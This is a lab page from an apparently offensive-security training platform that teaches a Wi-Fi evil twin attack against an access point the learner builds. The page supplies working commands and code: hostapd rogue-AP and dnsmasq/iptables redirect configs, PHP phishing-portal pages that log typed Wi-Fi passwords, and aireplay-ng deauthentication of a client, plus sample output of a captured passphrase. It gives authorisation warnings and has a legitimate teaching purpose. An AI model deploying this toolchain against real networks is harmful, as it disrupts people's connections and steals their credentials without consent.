Practice library / Wireless attacks
Lab · Medium · 1.5 hoursFree account
Wi-Fi Evil Twin Attacks
hostapd-wpe captive portal, SSL strip, and credential capture via rogue AP.
On this page 3 sections
Before you start
Evil twin attacks clone a real access point and lure clients onto a rogue radio, so the attacker sees every packet and every typed credential. Coffee-shop phishing and corporate Wi-Fi breaches often begin with a hostapd rogue AP and a fake captive portal. The exercise builds that rogue AP, forces a client off the real network, and captures the Wi-Fi password through a convincing portal page.
What You'll Learn
- Explain why an evil twin attacks the user, not the encryption.
- Clone a target AP's SSID and channel with a rogue access point.
- Force a connected client off the real AP so it looks for a new one.
- Serve a believable captive portal that asks for the Wi-Fi password.
- Capture and read the password the victim types into your fake page.
- Identify the client- and network-side defences that block each step.
Build the target
KaliRange hosts no targets, no networks and no wireless range. You run this lab against a WPA2 access point and a client device that you build. KaliRange-Lab below is the example network name of this lab; set your own access point to broadcast any name you choose, and use that name in every command instead.
Your target needs these parts:
- A WPA2 access point that you own, broadcasting on a fixed channel, with its own passphrase. The access point from the WPA/WPA2 cracking lab works, if you kept it running; otherwise build a new one with
hostapdon a spare device, or use a home router you own. - One client device (a phone or a VM) that you own, already joined to that access point. This is your victim for Task 5.
- A physical space, or a shielded room, where your two access points' signals (the real one and your rogue one) do not reach a network or a device you do not own. Do not clone, deauth, or touch any access point other than the one you built.
Machine and cards
- Kali Linux 2025.x attacker VM or host.
- Two wireless adapters: one for the rogue AP (needs AP mode, for example the Atheros AR9271 or a modern
mt7612u), one for deauthing the real AP (monitor mode + injection, as in the WPA cracking lab). - If you only have one capable adapter, run the attack in two phases: deauth first, then switch the same card to AP mode once the client starts hunting for a network — slower, but it works.
Tools and versions
hostapd2.10+ for the rogue AP.dnsmasq2.90+ for DHCP and DNS on the rogue network.aircrack-ngsuite 1.7 (airmon-ng,aireplay-ng) to knock the client off the real AP.- A simple PHP or Python captive portal page (provided below), served with
php -Sor Python'shttp.serverplus a tiny WSGI handler. iptablesfor NAT/redirect rules.
Authorised targets only. Running a rogue access point that impersonates a real network, outside an authorised test, is both a wireless regulation violation and a form of fraud in most jurisdictions. Build and broadcast this evil twin only against an access point and a client that you own, in a space where its signal does not reach anyone else's network or device.
Profile the real target
You cannot clone a network convincingly without its exact SSID, channel, and security type. Get those first, the same way as the start of any wireless recon.
Put your monitor-mode card up and scan:
sudo airmon-ng start wlan0
sudo airodump-ng wlan0monExample output:
BSSID PWR Beacons CH MB ENC CIPHER AUTH ESSID
AA:BB:CC:DD:EE:FF -40 62 6 130 WPA2 CCMP PSK KaliRange-Lab
BSSID STATION PWR Rate Lost Frames
AA:BB:CC:DD:EE:FF A0:B1:C2:D3:E4:F5 -45 0 - 1e 0 18What to notice: SSID KaliRange-Lab, channel 6, real BSSID AA:BB:CC:DD:EE:FF, and a connected client
A0:B1:C2:D3:E4:F5. Write all four down. The evil twin only needs to be convincing enough that the client's
device picks it over, or instead of, the real one — it does not need to crack the real password.
Build and launch the rogue access point
A client device mostly judges a network by its SSID, so broadcasting the identical name on a strong, nearby
signal is often enough to win the race when the client reconnects. hostapd turns your second adapter into a
real 802.11 AP.
Check your rogue card supports AP mode:
iw list | grep -A 10 "Supported interface modes"Supported interface modes:
* IBSS
* managed
* AP
* monitorWrite hostapd.conf:
interface=wlan1
driver=nl80211
ssid=KaliRange-Lab
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0What to notice: this config has no wpa= line at all, so the rogue AP is open, no password needed to
join. That mismatch (real AP is WPA2, clone is open) is deliberate for this lab: it is the simplest, most common
evil-twin setup, and the captive portal in Task 4 is what actually asks for the password instead.
Give the rogue interface an IP and start the AP:
sudo ip addr add 10.0.0.1/24 dev wlan1
sudo hostapd hostapd.confExample output:
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLEDWhat to notice: AP-ENABLED confirms wlan1 is now broadcasting. Run airodump-ng on your monitor card
again and you should see two entries for KaliRange-Lab on channel 6: the real one (WPA2) and yours (OPN).
Stand up DHCP, DNS, and the redirect
An AP with no IP address or DNS is useless; the victim's phone connects and gets nothing. dnsmasq hands out an
address and answers every DNS lookup with your own IP, so every site the client tries to visit lands on your
captive portal instead.
Write dnsmasq.conf:
interface=wlan1
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
address=/#/10.0.0.1Start it and enable forwarding:
sudo dnsmasq -C dnsmasq.conf -d &
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forwardRedirect all outbound HTTP traffic on the rogue network to your local captive portal server (port 80):
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp --dport 443 -j DNAT --to-destination 10.0.0.1:80What to notice: address=/#/10.0.0.1 tells dnsmasq to resolve every hostname to your rogue AP's own
address. Combined with the iptables DNAT rules, it does not matter what site the victim's phone tries to
load — it is redirected to your portal. This is what makes a captive-portal popup appear automatically on most
phones, the same way a hotel or airport Wi-Fi login page does.
The port-443 DNAT rule only helps if the victim's browser tries plain HTTP first. A phone shows the captive
portal popup because its OS probes a known plain-HTTP URL (Apple's captive.apple.com, Android's
connectivitycheck.gstatic.com) to test for internet access, and that probe is what your redirect catches. If
the victim opens an HTTPS site directly before that probe fires, they get a TLS error, not your page, since your
portal server only speaks plain HTTP on port 80. A full HTTPS intercept needs a trusted certificate on the
victim's device, which is a separate, more advanced attack.
Serve a believable captive portal
The portal page is where the actual credential theft happens. It needs to look like a normal "re-enter your Wi-Fi password" prompt, and it needs to actually store what the victim types.
Save this as index.php and serve it from your rogue AP's IP:
<!DOCTYPE html>
<html>
<head><title>Wi-Fi Authentication Required</title></head>
<body style="font-family:sans-serif; text-align:center; padding-top:80px;">
<h2>KaliRange-Lab</h2>
<p>This network requires re-authentication to continue.</p>
<form method="POST" action="capture.php">
<input type="password" name="wifi_password" placeholder="Wi-Fi Password" required><br><br>
<button type="submit">Connect</button>
</form>
</body>
</html>Save this as capture.php to log every submission:
<?php
$pw = $_POST['wifi_password'] ?? '';
file_put_contents('captured.txt', date('c') . " - " . $pw . "\n", FILE_APPEND);
header("Location: https://kalirange-lab.local/connected");
?>Serve both from the rogue AP's address:
cd /home/kali/portal
sudo php -S 10.0.0.1:80What to notice: the page names the real SSID (KaliRange-Lab) and frames the prompt as something the device
owner has seen before — a captive portal re-asking for a Wi-Fi password is a familiar, low-suspicion pattern on
public and hotel networks, which is exactly why this lure works.
Tools like wifiphisher automate Tasks 2–4 into one workflow, including OS-specific phishing templates (an "iOS
Update" page, a router admin page, and so on). Building it by hand first, as you just did, makes clear what that
automation is actually doing underneath.
Push the client onto your rogue AP and capture the password
The client is still connected to the real AP. You need it to drop that connection and look for KaliRange-Lab
again, at which point many devices will auto-join whichever one answers first or has the strongest signal.
From your monitor-mode card, deauth the known client off the real AP, exactly as in the WPA cracking lab:
sudo aireplay-ng --deauth 10 -a AA:BB:CC:DD:EE:FF -c A0:B1:C2:D3:E4:F5 wlan0mon22:51:02 Sending 64 directed DeAuth (code 7). STMAC: [A0:B1:C2:D3:E4:F5] [ 9|58 ACKs]The client's device drops off the real AP and rejoins a visible KaliRange-Lab — often yours, since it is open
(no password prompt) while the real one requires the WPA2 key. Watch dnsmasq's log for the new lease:
dnsmasq-dhcp: DHCPACK(wlan1) 10.0.0.15 a0:b1:c2:d3:e4:f5What to notice: the MAC address a0:b1:c2:d3:e4:f5 matches your known victim client, now holding an IP from
your DHCP range. The device opened a browser (or its captive-portal detector did) and landed on your page from
Task 4.
Once the victim submits the form, check your capture file:
cat captured.txt2026-11-19T22:52:47+04:00 - KaliRange123!What to notice: the captured string matches the real WPA2 passphrase from the WPA cracking lab. The victim typed their real Wi-Fi password into your page because it looked like a normal re-authentication prompt. No handshake capture, no offline cracking — the user handed it over directly.
Stop hostapd, dnsmasq, and flush your iptables rules (sudo iptables -t nat -F) as soon as the lab task is
done. Leaving a rogue AP broadcasting after the exercise ends can interfere with other learners' labs.
Sign in to continue
2 more sections are for signed-in members. It is free: sign in with Google.